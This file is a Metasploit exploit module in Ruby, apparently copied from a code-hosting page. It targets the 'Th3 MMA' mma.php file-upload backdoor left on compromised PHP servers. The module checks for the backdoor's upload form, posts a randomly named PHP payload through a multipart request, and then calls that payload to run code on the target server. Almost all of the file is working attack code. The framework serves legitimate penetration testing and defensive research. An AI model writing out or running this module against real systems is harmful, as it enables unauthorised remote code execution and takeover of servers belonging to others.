112 lines
3.2 KiB
Ruby
112 lines
3.2 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'nokogiri'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::FileDropper
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Th3 MMA mma.php Backdoor Arbitrary File Upload',
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'Description' => %q{
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This module exploits Th3 MMA mma.php Backdoor which allows an arbitrary file upload that
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leads to arbitrary code execution. This backdoor also echoes the Linux kernel version or
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operating system version because of the php_uname() function.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Jay Turla <@shipcod3>',
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],
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'References' =>
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[
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['URL', 'http://blog.pages.kr/1307'] # Analysis of mma.php file upload backdoor
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 10000,
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'DisableNops' => true
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},
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' =>
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[
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['mma file uploader', {} ]
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],
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'DisclosureDate' => 'Apr 2 2012',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI',[true, "The path of the mma.php file uploader backdoor", "/mma.php"]),
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],self.class) # sometimes it is under host/images/mma.php so you may want to set this one
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end
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def has_input_name?(nodes, name)
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nodes.select { |e| e.attributes['name'].value == name }.empty? ? false : true
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end
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def check
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uri = normalize_uri(target_uri.path)
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => uri
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})
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if res
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n = ::Nokogiri::HTML(res.body)
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form = n.at('form[@id="uploader"]')
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inputs = form.search('input')
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if has_input_name?(inputs, 'file') && has_input_name?(inputs, '_upl')
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return Exploit::CheckCode::Appears
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end
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end
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Exploit::CheckCode::Safe
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end
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def exploit
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uri = normalize_uri(target_uri.path)
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payload_name = "#{rand_text_alpha(5)}.php"
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print_status("Trying to upload #{payload_name} to mma.php Backdoor")
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data = Rex::MIME::Message.new
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data.add_part('Upload', nil, nil, 'form-data; name="_upl"')
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data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{payload_name}\"")
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post_data = data.to_s
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => uri,
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'ctype' => "multipart/form-data; boundary=#{data.bound}",
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'data' => post_data
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})
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if res
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if res.body =~ /uplod d0n3 in SAME file/
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print_good("Our payload #{payload_name} has been uploaded. Calling payload...")
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register_files_for_cleanup(payload_name)
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else
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fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
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end
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else
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fail_with(Failure::Unknown, 'Connection Timed Out')
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end
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send_request_cgi({
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'uri' => normalize_uri(payload_name),
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'method' => 'GET'
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})
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end
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end
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